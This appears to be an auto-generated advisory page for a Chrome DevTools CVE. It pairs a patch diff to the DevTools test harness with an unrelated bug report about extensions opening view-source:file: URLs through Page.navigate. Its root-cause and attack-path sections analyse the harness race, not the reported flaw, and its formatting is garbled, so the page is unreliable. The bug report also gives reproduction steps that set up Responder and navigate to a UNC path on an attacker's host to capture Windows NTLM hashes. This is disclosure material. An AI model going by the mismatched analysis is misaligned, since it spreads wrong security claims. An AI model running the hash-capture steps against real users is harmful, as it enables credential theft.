CVE-2026-7937
Overview
Background
- `front_end/Tests.js`
- the DevTools-frontend test-automation harness (
TestSuite) that drives automated/integration DevTools tests and reports their outcome. - `waitForTestResultsAsMessage`
- a
TestSuitemethod that takes control of the test driver and waits for a result delivered viatop.postMessage, releasing control onPASSor failing on any other text. - `top.postMessage` / `message` event
- the cross-document messaging channel used to deliver
event.data.testOutputstrings into the harness. - `takeControl` / `releaseControl` / `fail`
- harness primitives that pause the test runner, resume it on success, and mark the test failed, respectively.
Root Cause Analysis
In the pre-patch code, waitForTestResultsAsMessage registered its message listener only at the moment it was called, so any testOutput message posted to top before the waiter was installed was silently dropped. This is a listener-registration race: the result-producing message could arrive “very quickly after the test starts,” before the listener existed, leaving the harness waiting forever or missing a PASS/failure signal.
The fix moves the message listener to module scope so it is always active, and buffers early results into earlyTestResults whenever no testResultsWaiter is set yet; when waitForTestResultsAsMessage later runs, it first drains the buffer via handleMessage(earlyTestResults.shift()) and returns, otherwise it installs itself as testResultsWaiter before calling takeControl(). The invariant restored is “no test-output message is lost regardless of arrival order relative to the waiter.” The change is to harness message-timing/buffering; it tightens delivery reliability rather than adding any origin or capability check.
earlyTestResults buffer so results are retained and replayed. The advisory labels this “Insufficient policy enforcement in DevTools,” but the diff itself only demonstrates a message-timing/buffering correctness fix, not a concrete policy-check change (inferred gap).Attack Path
- Harness waits for a posted result
waitForTestResultsAsMessageis intended to receive atestOutputstring viatop.postMessageand act on it (PASSreleases control, anything else fails the test). - Message beats the listener
Because the listener was added only when the waiter ran, a
testOutputmessage delivered immediately after test start arrived before the listener existed and was dropped. - Result lost / state desynchronized The harness then either hung or proceeded without the intended result, producing incorrect/flaky test state that the fix’s buffering eliminates.
- Policy-enforcement linkage (inferred) The advisory attributes insufficient DevTools policy enforcement to this bug, but the diff does not show the specific policy gate; any security-relevant consequence beyond lost/mis-ordered test messages is not demonstrated by the patch (inferred).
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
iffront_end/Tests.js |
modified |
Files Changed
front_end/Tests.js
Audit Directions
- Lazy event-listener racesFlag code that registers a
message/event listener only inside a wait/await path, where messages can be emitted before registration; prefer persistent listeners with buffering. - postMessage result handlingReview
top.postMessageconsumers that assume synchronous ordering between “start” and “listen,” especially harness or IPC-shim code shipped in the frontend. - DevTools policy gatesSeparately audit where DevTools actually enforces policy/trust on incoming messages, since the advisory’s policy-enforcement framing is not localized by this timing fix.
Patch
From 5b4a14ceeeb42f9d14815501ffb066915889406b Mon Sep 17 00:00:00 2001
From: Danil Somsikov <dsv@chromium.org>
Date: Thu, 26 Mar 2026 12:56:19 -0700
Subject: [PATCH] Handle test output messages that arrive before the waiter is ready.
The waitForTestResultsAsMessage function now buffers test output messages received via top.postMessage in earlyTestResults if the waiter is not yet active. This prevents missing test results that are posted very quickly after the test starts. When waitForTestResultsAsMessage is called, it first checks the buffer before setting up a waiter.
Bug: 491766258
Change-Id: Ib34bb6e87ab1036e1c52ecbcd057050dc490fe7b
Reviewed-on: https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/7704616
Reviewed-by: Andrey Kosyakov <caseq@chromium.org>
Commit-Queue: Danil Somsikov <dsv@chromium.org>
Auto-Submit: Danil Somsikov <dsv@chromium.org>
Commit-Queue: Andrey Kosyakov <caseq@chromium.org>
---
diff --git a/front_end/Tests.js b/front_end/Tests.js
index 7688a87..6a13544 100644
--- a/front_end/Tests.js
+++ b/front_end/Tests.js
@@ -1086,20 +1086,36 @@
this.takeControl({slownessFactor: 10});
};
- TestSuite.prototype.waitForTestResultsAsMessage = function() {
- const onMessage = event => {
- if (!event.data.testOutput) {
- return;
- }
- top.removeEventListener('message', onMessage);
+ const earlyTestResults = [];
+ let testResultsWaiter = null;
+
+ top.addEventListener('message', event => {
+ if (event.data && event.data.testOutput) {
const text = event.data.testOutput;
+ if (testResultsWaiter) {
+ testResultsWaiter(text);
+ } else {
+ earlyTestResults.push(text);
+ }
+ }
+ });
+
+ TestSuite.prototype.waitForTestResultsAsMessage = function() {
+ const handleMessage = text => {
+ testResultsWaiter = null;
if (text === 'PASS') {
this.releaseControl();
} else {
this.fail(text);
}
};
- top.addEventListener('message', onMessage);
+
+ if (earlyTestResults.length) {
+ handleMessage(earlyTestResults.shift());
+ return;
+ }
+
+ testResultsWaiter = handleMessage;
this.takeControl();
};
Original Bug Report
Extensions without file URL access can use the `Page.navigate` CDP command to open `view-source:file:` URLs
VULNERABILITY DETAILS
Summary
A malicious extension can use the chrome.debugger.sendCommand API with the Page.navigate CDP command to navigate to view-source:file: URLs without the user enabling Allow access to file URLs. On Windows, this can be exploited using a UNC path to leak NTLM hashes to an attacker-controlled server.
Attack Preconditions
The victim installs a malicious extension provided by the attacker, or a legitimate extension has a vulnerability that allows an attacker to control the URL passed to the Page.navigate CDP command.
Impact Analysis
On Windows, the attacker can set up a server to capture NTLM hashes leaked via a view-source:file: URL using a UNC path, similar to bugs like Issue 391114799 and Issue 40060207. After acquiring the NTLM hashes, the attacker can perform offline cracking or use them with other techniques to gain access to Active Directory-based networks.
On macOS and Linux, the impact might be limited since I couldn’t find a way to leak the page content of a view-source:file: URL without file URL access permissions.
Bisect and Root Cause Analysis
Unlike IsFileUrl, which correctly checks for view-source: URLs and unwraps them to check the inner URL’s scheme, PageHandler::Navigate doesn’t unwrap view-source: URL to check the inner URL’s scheme. This allows view-source:file: URLs to be navigated to without file URL access permission:
if (gurl.SchemeIsFile() && !may_read_local_files_) {
callback->sendFailure(
Response::ServerError("Navigating to local URL is not allowed"));
return;
}
The check for file URLs was introduced in this commit:
https://source.chromium.org/chromium/chromium/src/+/925a1926434ee8e71b7adac47989df27e64b69d6
VERSION
Chrome Version: 145.0.7632.76 stable
Operating System: Linux, Mac, Windows
This vulnerability is also present in Chrome 147.0.7727.0 canary.
REPRODUCTION CASE
- Set up Responder for catching NTLM hashes. The server can be set up with the installation guide provided in the repository or set up with Docker as follows (make sure to replace
<INTERFACE>with the actual network interface you want to listen on):docker run --rm -ti --network host kalilinux/kali-rolling # Inside the container apt update && apt install -y responder responder -v -I <INTERFACE> - Create a directory structure like this with the attached file:
poc ├── background.js └── manifest.json - Replace
<YOUR IP>inbackground.jswith the actual IP address of your machine where Responder is running. - Load the extension in Chrome by navigating to
chrome://extensions, enablingDeveloper mode, and clickingLoad unpacked. Select thepocdirectory. - Disable the
Allow access to file URLsoption for the extension inchrome://extensionsto make sure the PoC is running without the permission. - After disabling the permission, the
background.jsscript should reload and usechrome.debugger.sendCommandAPI withPage.navigateCDP command to navigate to theview-source:file:////<YOUR IP>/leakURL. - Even though the extension doesn’t have the permission to access file URLs,
Page.navigateshould still successfully navigate the tab to theview-source:file:URL. - You should see the NTLM hashes being captured in the console output of Responder.
> Note: To simply prove that navigation to view-source:file: URLs works without file URL access, instead of using UNC path, you can update TARGET_URL in background.js to use something like view-source:file:///etc/hosts on Linux/macOS or view-source:file:///C:/Windows/System32/drivers/etc/hosts on Windows to see if the URL can be loaded without file URL access permissions. The reproduction steps above are specifically for demonstrating the NTLM hash leak on Windows.
CREDIT INFORMATION
Reporter credit: lebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab.
- https://github.com/lgandx/Responder
- https://issuetracker.google.com/issues/391114799
- https://issuetracker.google.com/issues/40060207
- https://source.chromium.org/chromium/chromium/src/+/925a1926434ee8e71b7adac47989df27e64b69d6
- https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/extensions/extension_tab_util.cc;l=140-143;drc=152d856fc77c3ba05f9fe3261dbc745c73b63333
- https://source.chromium.org/chromium/chromium/src/+/main:content/browser/devtools/protocol/page_handler.cc;l=878-882;drc=e2a6aae100f3db23e9540c326e910488473ec419